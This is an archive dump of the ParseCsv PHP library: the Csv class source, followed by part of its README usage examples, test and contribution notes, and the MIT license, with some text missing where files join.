1 = Hopefully correctable syntax error was found. * 2 = Enclosure character (double quote by default) * was found in non-enclosed field. This means * the file is either corrupt, or does not * standard CSV formatting. Please validate * the parsed data yourself. * * @var int */ public $error = 0; /** * Detailed error information * * @var array */ public $error_info = array(); /** * $titles has 4 distinct tasks: * 1. After reading in CSV data, $titles will contain the column headers * present in the data. * * 2. It defines which fields from the $data array to write e.g. when * calling unparse(), and in which order. This lets you skip columns you * don't want in your output, but are present in $data. * See examples/save_to_file_without_header_row.php. * * 3. It lets you rename columns. See StreamTest::testWriteStream for an * example. * * 4. When writing data and $header is true, then $titles is also used for * the first row. * * @var array */ public $titles = array(); /** * Two-dimensional array of CSV data. * The first dimension are the line numbers. Each line is represented as an array with field names as keys. * * @var array */ public $data = array(); use DatatypeTrait; /** * Class constructor * * @param string|null $data The CSV string or a direct file path. * * WARNING: Supplying file paths here is * deprecated. Use parseFile() instead. * * @param int|null $offset Number of rows to ignore from the * beginning of the data * @param int|null $limit Limits the number of returned rows * to specified amount * @param string|null $conditions Basic SQL-like conditions for row * matching * @param null|true $keep_file_data Keep raw file data in memory after * successful parsing * (useful for debugging) */ public function __construct($data = null, $offset = null, $limit = null, $conditions = null, $keep_file_data = null) { $this->init($offset, $limit, $conditions, $keep_file_data); if (!empty($data)) { $this->parse($data); } } /** * @param int|null $offset Number of rows to ignore from the * beginning of the data * @param int|null $limit Limits the number of returned rows * to specified amount * @param string|null $conditions Basic SQL-like conditions for row * matching * @param null|true $keep_file_data Keep raw file data in memory after * successful parsing * (useful for debugging) */ public function init($offset = null, $limit = null, $conditions = null, $keep_file_data = null) { if (!is_null($offset)) { $this->offset = $offset; } if (!is_null($limit)) { $this->limit = $limit; } if (!is_null($conditions)) { $this->conditions = $conditions; } if (!is_null($keep_file_data)) { $this->keep_file_data = $keep_file_data; } } // ============================================== // ----- [ Main Functions ] --------------------- // ============================================== /** * Parse a CSV file or string * * @param string|null $dataString The CSV string or a direct file path * WARNING: Supplying file paths here is * deprecated and will trigger an * E_USER_DEPRECATED error. * @param int|null $offset Number of rows to ignore from the * beginning of the data * @param int|null $limit Limits the number of returned rows to * specified amount * @param string|null $conditions Basic SQL-like conditions for row * matching * * @return bool True on success */ public function parse($dataString = null, $offset = null, $limit = null, $conditions = null) { if (is_null($dataString)) { $this->data = $this->parseFile(); return $this->data !== false; } if (empty($dataString)) { return false; } $this->init($offset, $limit, $conditions); if (strlen($dataString) <= PHP_MAXPATHLEN && is_readable($dataString)) { $this->file = $dataString; $this->data = $this->parseFile(); trigger_error( 'Supplying file paths to parse() will no longer ' . 'be supported in a future version of ParseCsv. ' . 'Use ->parseFile() instead.', E_USER_DEPRECATED ); } else { $this->file = null; $this->file_data = &$dataString; $this->data = $this->_parse_string(); } return $this->data !== false; } /** * Save changes, or write a new file and/or data. * * @param string $file File location to save to * @param array $data 2D array of data * @param bool $append Append current data to end of target CSV, if file * exists * @param array $fields Field names. Sets the header. If it is not set * $this->titles would be used instead. * * @return bool * True on success */ public function save($file = '', $data = array(), $append = FileProcessingModeEnum::MODE_FILE_OVERWRITE, $fields = array()) { if (empty($file)) { $file = &$this->file; } $mode = FileProcessingModeEnum::getAppendMode($append); $is_php = (bool) preg_match('/\.php$/i', $file); return $this->_wfile($file, $this->unparse($data, $fields, $append, $is_php), $mode); } /** * Generate a CSV-based string for output. * * Useful for exports in web applications. * * @param string|null $filename If a filename is specified here or in the * object, headers and data will be output * directly to browser as a downloadable * file. This file doesn't have to exist on * the server; the parameter only affects * how the download is called to the * browser. * @param array[] $data 2D array with data * @param array $fields Field names * @param string|null $delimiter character used to separate data * * @return string The resulting CSV string */ public function output($filename = null, $data = array(), $fields = array(), $delimiter = null) { if (empty($filename)) { $filename = $this->output_filename; } if ($delimiter === null) { $delimiter = $this->output_delimiter; } $flat_string = $this->unparse($data, $fields, null, null, $delimiter); if (!is_null($filename)) { $mime = $delimiter === "\t" ? 'text/tab-separated-values' : 'application/csv'; header('Content-type: ' . $mime); header('Content-Length: ' . strlen($flat_string)); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); header('Content-Disposition: attachment; filename="' . $filename . '"; modification-date="' . date('r') . '";'); echo $flat_string; } return $flat_string; } /** * Convert character encoding * * Specify the encoding to use for the next parsing or unparsing. * Calling this function will not change the data held in the object immediately. * * @param string|null $input Input character encoding * If the value null is passed, the existing input encoding remains set (default: ISO-8859-1). * @param string|null $output Output character encoding, uses default if left blank * If the value null is passed, the existing input encoding remains set (default: ISO-8859-1). * * @return void */ public function encoding($input = null, $output = null) { $this->convert_encoding = true; if (!is_null($input)) { $this->input_encoding = $input; } if (!is_null($output)) { $this->output_encoding = $output; } } /** * Auto-detect delimiter: Find delimiter by analyzing a specific number of * rows to determine most probable delimiter character * * @param string|null $file Local CSV file * Supplying CSV data (file content) here is deprecated. * For CSV data, please use autoDetectionForDataString(). * Support for CSV data will be removed in v2.0.0. * @param bool $parse True/false parse file directly * @param int|null $search_depth Number of rows to analyze * @param string|null $preferred Preferred delimiter characters * @param string|null $enclosure Enclosure character, default is double quote ("). * * @return string|false The detected field delimiter */ public function auto($file = null, $parse = true, $search_depth = null, $preferred = null, $enclosure = null) { if (is_null($file)) { $file = $this->file; } if (empty($search_depth)) { $search_depth = $this->auto_depth; } if (is_null($enclosure)) { $enclosure = $this->enclosure; } else { $this->enclosure = $enclosure; } if (is_null($preferred)) { $preferred = $this->auto_preferred; } if (empty($this->file_data)) { if ($this->_check_data($file)) { $data = &$this->file_data; } else { return false; } } else { $data = &$this->file_data; } $this->autoDetectionForDataString($data, $parse, $search_depth, $preferred, $enclosure); return $this->delimiter; } /** * Auto-detect delimiter: Find delimiter by analyzing a specific number of * rows to determine most probable delimiter character (Author: Szabi) * * @param string|null $data Load CSV data * @param bool $parse True/false parse file directly * @param int|null $search_depth Number of rows to analyze * @param string|null $preferred Preferred delimiter characters * @param string|null $enclosure Enclosure character, default is double quote ("). * * @return string|false The detected field delimiter */ public function autoDirectData($data = null, $parse = true, $search_depth = null, $preferred = null, $enclosure = null) { if (empty($search_depth)) { $search_depth = $this->auto_depth; } if (is_null($enclosure)) { $enclosure = $this->enclosure; } else { $this->enclosure = $enclosure; } if (is_null($preferred)) { $preferred = $this->auto_preferred; } $this->loadDataString(rtrim($data, "\r\n")); $this->autoDetectionForDataString($data, $parse, $search_depth, $preferred, $enclosure); return $this->delimiter; } public function autoDetectionForDataString($data, $parse = true, $search_depth = null, $preferred = null, $enclosure = null) { $this->file_data = &$data; if (!$this->_detect_and_remove_sep_row_from_data($data)) { $this->_guess_delimiter($search_depth, $preferred, $enclosure, $data); } // parse data if ($parse) { $this->data = $this->_parse_string(); } return $this->delimiter; } /** * Get total number of data rows (exclusive heading line if present) in CSV * without parsing the whole data string. * * @return bool|int */ public function getTotalDataRowCount() { if (empty($this->file_data)) { return false; } $data = $this->file_data; $this->_detect_and_remove_sep_row_from_data($data); $pattern = sprintf('/%1$s[^%1$s]*%1$s/i', $this->enclosure); preg_match_all($pattern, $data, $matches); /** @var array[] $matches */ foreach ($matches[0] as $match) { if (empty($match) || (strpos($match, $this->enclosure) === false)) { continue; } $replace = str_replace(["\r", "\n"], '', $match); $data = str_replace($match, $replace, $data); } $headingRow = $this->heading ? 1 : 0; return substr_count($data, "\r") + substr_count($data, "\n") - substr_count($data, "\r\n") - $headingRow; } // ============================================== // ----- [ Core Functions ] --------------------- // ============================================== /** * Read file to string and call _parse_string() * * @param string|null $file Path to a CSV file. * If configured in files such as php.ini, * the path may also contain a protocol: * https://example.org/some/file.csv * * @return array|false */ public function parseFile($file = null) { if (is_null($file)) { $file = $this->file; } /** * @see self::keep_file_data * Usually, _parse_string will clean this * Instead of leaving stale data for the next parseFile call behind. */ if (empty($this->file_data) && !$this->loadFile($file)) { return false; } if (empty($this->file_data)) { return false; } return $this->data = $this->_parse_string(); } /** * Parse data from string (author Szabi) * * @param string|null $data Data string * * @return array|false */ public function parseData($data = null) { $this->loadDataString(rtrim($data, "\r\n")); return $this->data = $this->_parse_string(); } /** * Internal function to parse CSV strings to arrays. * * If you need BOM detection or character encoding conversion, please call * $csv->load_data($your_data_string) first, followed by a call to * $csv->parse($csv->file_data). * * To detect field separators, please use auto() instead. * * @param string|null $data CSV data * * @return array|false * 2D array with CSV data, or false on failure */ protected function _parse_string($data = null) { if (empty($data)) { if ($this->_check_data()) { $data = &$this->file_data; } else { return false; } } $white_spaces = str_replace($this->delimiter, '', " \t\x0B\0"); $rows = array(); $row = array(); $row_count = 0; $current = ''; $head = !empty($this->fields) ? $this->fields : array(); $col = 0; $enclosed = false; $was_enclosed = false; $strlen = strlen($data); // force the parser to process end of data as a character (false) when // data does not end with a line feed or carriage return character. $lch = $data[$strlen - 1]; if ($lch != "\n" && $lch != "\r") { $data .= "\n"; $strlen++; } // walk through each character for ($i = 0; $i < $strlen; $i++) { $ch = isset($data[$i]) ? $data[$i] : false; $nch = isset($data[$i + 1]) ? $data[$i + 1] : false; // open/close quotes, and inline quotes if ($ch == $this->enclosure) { if (!$enclosed) { if (ltrim($current, $white_spaces) == '') { $enclosed = true; $was_enclosed = true; } else { $this->error = 2; $error_row = count($rows) + 1; $error_col = $col + 1; $index = $error_row . '-' . $error_col; if (!isset($this->error_info[$index])) { $this->error_info[$index] = array( 'type' => 2, 'info' => 'Syntax error found on row ' . $error_row . '. Non-enclosed fields can not contain double-quotes.', 'row' => $error_row, 'field' => $error_col, 'field_name' => !empty($head[$col]) ? $head[$col] : null, ); } $current .= $ch; } } elseif ($nch == $this->enclosure) { $current .= $ch; $i++; } elseif ($nch != $this->delimiter && $nch != "\r" && $nch != "\n") { $x = $i + 1; while (isset($data[$x]) && ltrim($data[$x], $white_spaces) == '') { $x++; } if ($data[$x] == $this->delimiter) { $enclosed = false; $i = $x; } else { if ($this->error < 1) { $this->error = 1; } $error_row = count($rows) + 1; $error_col = $col + 1; $index = $error_row . '-' . $error_col; if (!isset($this->error_info[$index])) { $this->error_info[$index] = array( 'type' => 1, 'info' => 'Syntax error found on row ' . (count($rows) + 1) . '. ' . 'A single double-quote was found within an enclosed string. ' . 'Enclosed double-quotes must be escaped with a second double-quote.', 'row' => count($rows) + 1, 'field' => $col + 1, 'field_name' => !empty($head[$col]) ? $head[$col] : null, ); } $current .= $ch; $enclosed = false; } } else { $enclosed = false; } // end of field/row/csv } elseif ((in_array($ch, [$this->delimiter, "\n", "\r", false], true)) && !$enclosed) { $key = !empty($head[$col]) ? $head[$col] : $col; $row[$key] = $was_enclosed ? $current : trim($current); $current = ''; $was_enclosed = false; $col++; // end of row if (in_array($ch, ["\n", "\r", false], true)) { if ($this->_validate_offset($row_count) && $this->_validate_row_conditions($row, $this->conditions)) { if ($this->heading && empty($head)) { $head = $row; } elseif (empty($this->fields) || (!empty($this->fields) && (($this->heading && $row_count > 0) || !$this->heading))) { if (!empty($this->sort_by) && !empty($row[$this->sort_by])) { $sort_field = $row[$this->sort_by]; if (isset($rows[$sort_field])) { $rows[$sort_field . '_0'] = &$rows[$sort_field]; unset($rows[$sort_field]); $sn = 1; while (isset($rows[$sort_field . '_' . $sn])) { $sn++; } $rows[$sort_field . '_' . $sn] = $row; } else { $rows[$sort_field] = $row; } } else { $rows[] = $row; } } } $row = array(); $col = 0; $row_count++; if ($this->sort_by === null && $this->limit !== null && count($rows) == $this->limit) { $i = $strlen; } if ($ch == "\r" && $nch == "\n") { $i++; } } // append character to current field } else { $current .= $ch; } } $this->titles = $head; if (!empty($this->sort_by)) { $sort_type = SortEnum::getSorting($this->sort_type); $this->sort_reverse ? krsort($rows, $sort_type) : ksort($rows, $sort_type); if ($this->offset !== null || $this->limit !== null) { $rows = array_slice($rows, ($this->offset === null ? 0 : $this->offset), $this->limit, true); } } if (!$this->keep_file_data) { $this->file_data = null; } return $rows; } /** * Create CSV data string from array * * @param array[] $data 2D array with data * @param array $fields field names * @param bool $append if true, field names will not be output * @param bool $is_php if a php die() call should be put on the * first line of the file, this is later * ignored when read. * @param string|null $delimiter field delimiter to use * * @return string CSV data */ public function unparse($data = array(), $fields = array(), $append = FileProcessingModeEnum::MODE_FILE_OVERWRITE, $is_php = false, $delimiter = null) { if (!is_array($data) || empty($data)) { $data = &$this->data; } else { /** @noinspection ReferenceMismatchInspection */ $this->data = $data; } if (!is_array($fields) || empty($fields)) { $fields = &$this->titles; } if ($delimiter === null) { $delimiter = $this->delimiter; } $string = $is_php ? "" . $this->linefeed : ''; $entry = array(); // create heading /** @noinspection ReferenceMismatchInspection */ $fieldOrder = $this->_validate_fields_for_unparse($fields); if (!$fieldOrder && !empty($data)) { $column_count = count($data[0]); $columns = range(0, $column_count - 1, 1); $fieldOrder = array_combine($columns, $columns); } if ($this->heading && !$append && !empty($fields)) { foreach ($fieldOrder as $column_name) { $entry[] = $this->_enclose_value($column_name, $delimiter); } $string .= implode($delimiter, $entry) . $this->linefeed; $entry = array(); } // create data foreach ($data as $row) { foreach (array_keys($fieldOrder) as $index) { $cell_value = $row[$index]; $entry[] = $this->_enclose_value($cell_value, $delimiter); } $string .= implode($delimiter, $entry) . $this->linefeed; $entry = array(); } if ($this->convert_encoding) { /** @noinspection PhpComposerExtensionStubsInspection * * If you receive an error at the following 3 lines, you must enable * the following PHP extension: * * - if $use_mb_convert_encoding is true: mbstring * - if $use_mb_convert_encoding is false: iconv */ $string = $this->use_mb_convert_encoding ? mb_convert_encoding($string, $this->output_encoding, $this->input_encoding) : iconv($this->input_encoding, $this->output_encoding, $string); } return $string; } /** * @param array $fields * * @return array|false */ private function _validate_fields_for_unparse(array $fields) { if (empty($fields)) { $fields = $this->titles; } if (empty($fields)) { return array(); } // this is needed because sometime titles property is overwritten instead of using fields parameter! $titlesOnParse = !empty($this->data) ? array_keys(reset($this->data)) : array(); // both are identical, also in ordering OR we have no data (only titles) if (empty($titlesOnParse) || array_values($fields) === array_values($titlesOnParse)) { return array_combine($fields, $fields); } // if renaming given by: $oldName => $newName (maybe with reorder and / or subset): // todo: this will only work if titles are unique $fieldOrder = array_intersect(array_flip($fields), $titlesOnParse); if (!empty($fieldOrder)) { return array_flip($fieldOrder); } $fieldOrder = array_intersect($fields, $titlesOnParse); if (!empty($fieldOrder)) { return array_combine($fieldOrder, $fieldOrder); } // original titles are not given in fields. that is okay if count is okay. if (count($fields) != count($titlesOnParse)) { throw new \UnexpectedValueException( "The specified fields do not match any titles and do not match column count.\n" . "\$fields was " . print_r($fields, true) . "\$titlesOnParse was " . print_r($titlesOnParse, true)); } return array_combine($titlesOnParse, $fields); } /** * Load local file or string. * * Only use this function if auto() and parse() don't handle your data well. * * This function load_data() is able to handle BOMs and encodings. The data * is stored within the $this->file_data class field. * * @param string|null $input CSV file path or CSV data as a string * * Supplying CSV data (file content) here is deprecated. * For CSV data, please use loadDataString(). * Support for CSV data will be removed in v2.0.0. * * @return bool True on success * @deprecated Use loadDataString() or loadFile() instead. */ public function load_data($input = null) { return $this->loadFile($input); } /** * Load a file, but don't parse it. * * Only use this function if auto() and parseFile() don't handle your data well. * * This function is able to handle BOMs and encodings. The data * is stored within the $this->file_data class field. * * @param string|null $file CSV file path * * @return bool True on success */ public function loadFile($file = null) { $data = null; if (is_null($file)) { $data = $this->_rfile($this->file); } elseif (\strlen($file) <= PHP_MAXPATHLEN && file_exists($file)) { $data = $this->_rfile($file); if ($this->file != $file) { $this->file = $file; } } else { // It is CSV data as a string. // WARNING: // Supplying CSV data to load_data() will no longer // be supported in a future version of ParseCsv. // This function will return false for invalid paths from v2.0.0 onwards. // Use ->loadDataString() instead. $data = $file; } return $this->loadDataString($data); } /** * Load a data string, but don't parse it. * * Only use this function if autoDetectionForDataString() and parse() don't handle your data well. * * This function is able to handle BOMs and encodings. The data * is stored within the $this->file_data class field. * * @param string|null $file_path CSV file path * * @return bool True on success */ public function loadDataString($data) { if (!empty($data)) { if (strpos($data, "\xef\xbb\xbf") === 0) { // strip off BOM (UTF-8) $data = substr($data, 3); $this->encoding('UTF-8'); } elseif (strpos($data, "\xff\xfe") === 0) { // strip off BOM (UTF-16 little endian) $data = substr($data, 2); $this->encoding("UCS-2LE"); } elseif (strpos($data, "\xfe\xff") === 0) { // strip off BOM (UTF-16 big endian) $data = substr($data, 2); $this->encoding("UTF-16"); } if ($this->convert_encoding && $this->input_encoding !== $this->output_encoding) { /** @noinspection PhpComposerExtensionStubsInspection * * If you receive an error at the following 3 lines, you must enable * the following PHP extension: * * - if $use_mb_convert_encoding is true: mbstring * - if $use_mb_convert_encoding is false: iconv */ $data = $this->use_mb_convert_encoding ? mb_convert_encoding($data, $this->output_encoding, $this->input_encoding) : iconv($this->input_encoding, $this->output_encoding, $data); } if (substr($data, -1) != "\n") { $data .= "\n"; } $this->file_data = &$data; return true; } return false; } // ============================================== // ----- [ Internal Functions ] ----------------- // ============================================== /** * Validate a row against specified conditions * * @param array $row array with values from a row * @param string|null $conditions specified conditions that the row must match * * @return bool */ protected function _validate_row_conditions($row = array(), $conditions = null) { if (!empty($row)) { if (!empty($conditions)) { $condition_array = (strpos($conditions, ' OR ') !== false) ? explode(' OR ', $conditions) : array($conditions); $or = ''; foreach ($condition_array as $key => $value) { if (strpos($value, ' AND ') !== false) { $value = explode(' AND ', $value); $and = ''; foreach ($value as $k => $v) { $and .= $this->_validate_row_condition($row, $v); } $or .= (strpos($and, '0') !== false) ? '0' : '1'; } else { $or .= $this->_validate_row_condition($row, $value); } } return strpos($or, '1') !== false; } return true; } return false; } /** * Validate a row against a single condition * * @param array $row array with values from a row * @param string $condition specified condition that the row must match * * @return string single 0 or 1 */ protected function _validate_row_condition($row, $condition) { $operators = array( '=', 'equals', 'is', '!=', 'is not', '<', 'is less than', '>', 'is greater than', '<=', 'is less than or equals', '>=', 'is greater than or equals', 'contains', 'does not contain', 'is number', 'is not number', ); $operators_regex = array(); foreach ($operators as $value) { $operators_regex[] = preg_quote($value, '/'); } $operators_regex = implode('|', $operators_regex); if (preg_match('/^(.+) (' . $operators_regex . ') (.+)$/i', trim($condition), $capture)) { $field = $capture[1]; $op = strtolower($capture[2]); $value = $capture[3]; if ($op == 'equals' && preg_match('/^(.+) is (less|greater) than or$/i', $field, $m)) { $field = $m[1]; $op = strtolower($m[2]) == 'less' ? '<=' : '>='; } if ($op == 'is' && preg_match('/^(less|greater) than (.+)$/i', $value, $m)) { $value = $m[2]; $op = strtolower($m[1]) == 'less' ? '<' : '>'; } if ($op == 'is' && preg_match('/^not (.+)$/i', $value, $m)) { $value = $m[1]; $op = '!='; } if (preg_match('/^([\'"])(.*)([\'"])$/', $value, $capture) && $capture[1] == $capture[3]) { $value = strtr($capture[2], array( "\\n" => "\n", "\\r" => "\r", "\\t" => "\t", )); $value = stripslashes($value); } if (array_key_exists($field, $row)) { $op_equals = in_array($op, ['=', 'equals', 'is'], true); if ($op_equals && $row[$field] == $value) { return '1'; } elseif ($op_equals && $value == 'number' && is_numeric($row[$field])) { return '1'; } elseif (($op == '!=' || $op == 'is not') && $value == 'number' && !is_numeric($row[$field])) { return '1'; } elseif (($op == '!=' || $op == 'is not') && $row[$field] != $value) { return '1'; } elseif (($op == '<' || $op == 'is less than') && $row[$field] < $value) { return '1'; } elseif (($op == '>' || $op == 'is greater than') && $row[$field] > $value) { return '1'; } elseif (($op == '<=' || $op == 'is less than or equals') && $row[$field] <= $value) { return '1'; } elseif (($op == '>=' || $op == 'is greater than or equals') && $row[$field] >= $value) { return '1'; } elseif ($op == 'contains' && preg_match('/' . preg_quote($value, '/') . '/i', $row[$field])) { return '1'; } elseif ($op == 'does not contain' && !preg_match('/' . preg_quote($value, '/') . '/i', $row[$field])) { return '1'; } else { return '0'; } } } return '1'; } /** * Validates if the row is within the offset or not if sorting is disabled * * @param int $current_row the current row number being processed * * @return bool */ protected function _validate_offset($current_row) { return $this->sort_by !== null || $this->offset === null || $current_row >= $this->offset || ($this->heading && $current_row == 0); } /** * Enclose values if needed * - only used by unparse() * * @param string|null $value Cell value to process * @param string $delimiter Character to put between cells on the same row * * @return string Processed value */ protected function _enclose_value($value, $delimiter) { if ($value !== null && $value != '') { $delimiter_quoted = $delimiter ? preg_quote($delimiter, '/') . "|" : ''; $enclosure_quoted = preg_quote($this->enclosure, '/'); $pattern = "/" . $delimiter_quoted . $enclosure_quoted . "|\n|\r/i"; if ($this->enclose_all || preg_match($pattern, $value) || strpos($value, ' ') === 0 || substr($value, -1) == ' ') { $value = str_replace($this->enclosure, $this->enclosure . $this->enclosure, $value); $value = $this->enclosure . $value . $this->enclosure; } } return $value; } /** * Check file data * * @param string|null $file local filename * * @return bool */ protected function _check_data($file = null) { if (empty($this->file_data)) { if (is_null($file)) { $file = $this->file; } return $this->loadFile($file); } return true; } /** * Check if passed info might be delimiter. * Only used by find_delimiter * * @param string $char Potential field separating character * @param array $array Frequency * @param int $depth Number of analyzed rows * @param string $preferred Preferred delimiter characters * * @return string|false special string used for delimiter selection, or false */ protected function _check_count($char, $array, $depth, $preferred) { if ($depth === count($array)) { $first = null; $equal = null; $almost = false; foreach ($array as $value) { if ($first == null) { $first = $value; } elseif ($value == $first && $equal !== false) { $equal = true; } elseif ($value == $first + 1 && $equal !== false) { $equal = true; $almost = true; } else { $equal = false; } } if ($equal || $depth === 1) { $match = $almost ? 2 : 1; $pref = strpos($preferred, $char); $pref = ($pref !== false) ? str_pad($pref, 3, '0', STR_PAD_LEFT) : '999'; return $pref . $match . '.' . (99999 - str_pad($first, 5, '0', STR_PAD_LEFT)); } else { return false; } } return false; } /** * Read local file. * * @param string $filePath local filename * * @return string|false Data from file, or false on failure */ protected function _rfile($filePath) { if (is_readable($filePath)) { $data = file_get_contents($filePath); if ($data === false) { return false; } if (preg_match('/\.php$/i', $filePath) && preg_match('/<\?.*?\?>(.*)/ms', $data, $strip)) { // Return section behind closing tags. // This parsing is deprecated and will be removed in v2.0.0. $data = ltrim($strip[1]); } return rtrim($data, "\r\n"); } return false; } /** * Write to local file * * @param string $file local filename * @param string $content data to write to file * @param string $mode fopen() mode * @param int $lock flock() mode * * @return bool * True on success * */ protected function _wfile($file, $content = '', $mode = 'wb', $lock = LOCK_EX) { if ($fp = fopen($file, $mode)) { flock($fp, $lock); $re = fwrite($fp, $content); $re2 = fclose($fp); if ($re !== false && $re2 !== false) { return true; } } return false; } /** * Detect separator using a nonstandard hack: such file starts with the * first line containing only "sep=;", where the last character is the * separator. Microsoft Excel is able to open such files. * * @param string $data file data * * @return string|false detected delimiter, or false if none found */ protected function _get_delimiter_from_sep_row($data) { $sep = false; // 32 bytes should be quite enough data for our sniffing, chosen arbitrarily $sepPrefix = substr($data, 0, 32); if (preg_match('/^sep=(.)\\r?\\n/i', $sepPrefix, $sepMatch)) { // we get separator. $sep = $sepMatch[1]; } return $sep; } /** * Support for Excel-compatible sep=? row. * * @param string $data_string file data to be updated * * @return bool TRUE if sep= line was found at the very beginning of the file */ protected function _detect_and_remove_sep_row_from_data(&$data_string) { $sep = $this->_get_delimiter_from_sep_row($data_string); if ($sep === false) { return false; } $this->delimiter = $sep; // likely to be 5, but let's not assume we're always single-byte. $pos = 4 + strlen($sep); // the next characters should be a line-end if (substr($data_string, $pos, 1) === "\r") { $pos++; } if (substr($data_string, $pos, 1) === "\n") { $pos++; } // remove delimiter and its line-end (the data param is by-ref!) $data_string = substr($data_string, $pos); return true; } /** * @param int $search_depth Number of rows to analyze * @param string $preferred Preferred delimiter characters * @param string $enclosure Enclosure character, default is double quote * @param string $data The file content */ protected function _guess_delimiter($search_depth, $preferred, $enclosure, $data) { $chars = []; $strlen = strlen($data); $enclosed = false; $current_row = 1; $to_end = true; // The dash is the only character we don't want quoted, as it would // prevent character ranges within $auto_non_chars: $quoted_auto_non_chars = preg_quote($this->auto_non_chars, '/'); $quoted_auto_non_chars = str_replace('\-', '-', $quoted_auto_non_chars); $pattern = '/[' . $quoted_auto_non_chars . ']/i'; // walk specific depth finding possible delimiter characters for ($i = 0; $i < $strlen; $i++) { $ch = $data[$i]; $nch = isset($data[$i + 1]) ? $data[$i + 1] : false; $pch = isset($data[$i - 1]) ? $data[$i - 1] : false; // open and closing quotes $is_newline = ($ch == "\n" && $pch != "\r") || $ch == "\r"; if ($ch == $enclosure) { if (!$enclosed || $nch != $enclosure) { $enclosed = !$enclosed; } elseif ($enclosed) { $i++; } // end of row } elseif ($is_newline && !$enclosed) { if ($current_row >= $search_depth) { $strlen = 0; $to_end = false; } else { $current_row++; } // count character } elseif (!$enclosed) { if (!preg_match($pattern, $ch)) { if (!isset($chars[$ch][$current_row])) { $chars[$ch][$current_row] = 1; } else { $chars[$ch][$current_row]++; } } } } // filtering $depth = $to_end ? $current_row - 1 : $current_row; $filtered = []; foreach ($chars as $char => $value) { if(!in_array($char, $this->auto_banned)) { if ($match = $this->_check_count($char, $value, $depth, $preferred)) { $filtered[$match] = $char; } } } if(empty($filtered)) { $filtered = str_split($this->auto_preferred); } // capture most probable delimiter ksort($filtered); $this->delimiter = reset($filtered); } /** * getCollection * Returns a Illuminate/Collection object * This may prove to be helpful to people who want to * create macros, and or use map functions * * @access public * @link https://laravel.com/docs/5.6/collections * * @throws \ErrorException - If the Illuminate\Support\Collection class is not found * * @return Collection */ public function getCollection() { //does the Illuminate\Support\Collection class exists? //this uses the autoloader to try to determine //@see http://php.net/manual/en/function.class-exists.php if (class_exists('Illuminate\Support\Collection', true) == false) { throw new \ErrorException('It would appear you have not installed the illuminate/support package!'); } //return the collection return new Collection($this->data); } } res/parsecsv/parsecsv.lib.php000064400000001567147577714370012326 0ustar00encoding('UTF-16', 'UTF-8'); $csv->delimiter = "\t"; $csv->parseFile('data.tsv'); print_r($csv->data); ``` **Auto-detect field delimiter character** ```php $csv = new \ParseCsv\Csv(); $csv->auto('data.csv'); print_r($csv->data); ``` **Parse data with offset** * ignoring the first X (e.g. two) rows ```php $csv = new \ParseCsv\Csv(); $csv->offset = 2; $csv->parseFile('data.csv'); print_r($csv->data); ``` **Limit the number of returned data rows** ```php $csv = new \ParseCsv\Csv(); $csv->limit = 5; $csv->parseFile('data.csv'); print_r($csv->data); ``` **Get total number of data rows without parsing whole data** * Excluding heading line if present (see $csv->header property) ```php $csv = new \ParseCsv\Csv(); $csv->loadFile('data.csv'); $count = $csv->getTotalDataRowCount(); print_r($count); ``` **Get most common data type for each column** ```php $csv = new \ParseCsv\Csv('data.csv'); $csv->getDatatypes(); print_r($csv->data_types); ``` **Modify data in a CSV file** Change data values: ```php $csv = new \ParseCsv\Csv(); $csv->sort_by = 'id'; $csv->parseFile('data.csv'); # "4" is the value of the "id" column of the CSV row $csv->data[4] = array('firstname' => 'John', 'lastname' => 'Doe', 'email' => 'john@doe.com'); $csv->save(); ``` Enclose each data value by quotes: ```php $csv = new \ParseCsv\Csv(); $csv->parseFile('data.csv'); $csv->enclose_all = true; $csv->save(); ``` **Replace field names or set ones if missing** ```php $csv = new \ParseCsv\Csv(); $csv->fields = ['id', 'name', 'category']; $csv->parseFile('data.csv'); ``` **Add row/entry to end of CSV file** _Only recommended when you know the exact structure of the file._ ```php $csv = new \ParseCsv\Csv(); $csv->save('data.csv', array(array('1986', 'Home', 'Nowhere', '')), /* append */ true); ``` **Convert 2D array to CSV data and send headers to browser to treat output as a file and download it** Your web app users would call this an export. ```php $csv = new \ParseCsv\Csv(); $csv->linefeed = "\n"; $header = array('field 1', 'field 2'); $csv->output('movies.csv', $data_array, $header, ','); ``` For more complex examples, see the ``tests`` and `examples` directories. ## Test coverage All tests are located in the `tests` directory. To execute tests, run the following commands: ````bash composer install composer run test ```` When pushing code to GitHub, tests will be executed using GitHub Actions. The relevant configuration is in the file `.github/workflows/ci.yml`. To run the `test` action locally, you can execute the following command: ````bash make local-ci ```` ## Security If you discover any security related issues, please email ParseCsv@blaeul.de instead of using GitHub issues. ## Credits * ParseCsv is based on the concept of [Ming Hong Ng][ming]'s [CsvFileParser][] class. [ming]: http://minghong.blogspot.com/ [CsvFileParser]: http://minghong.blogspot.com/2006/07/csv-parser-for-php.html ## Contributors ### Code Contributors This project exists thanks to all the people who contribute. Please find a complete list on the project's [contributors][] page. [contributors]: https://github.com/parsecsv/parsecsv-for-php/graphs/contributors ### Financial Contributors Become a financial contributor and help us sustain our community. [[Contribute](https://opencollective.com/parsecsv/contribute)] #### Individuals #### Organizations Support this project with your organization. Your logo will show up here with a link to your website. [[Contribute](https://opencollective.com/parsecsv/contribute)] ## License (The MIT license) Copyright (c) 2014 Jim Myhrberg. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. [![Build Status](https://travis-ci.org/parsecsv/parsecsv-for-php.svg?branch=master)](https://travis-ci.org/parsecsv/parsecsv-for-php) res/parsecsv/License.txt000064400000002111147577714370011327 0ustar00(The MIT license) Copyright (c) 2014 Jim Myhrberg. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without 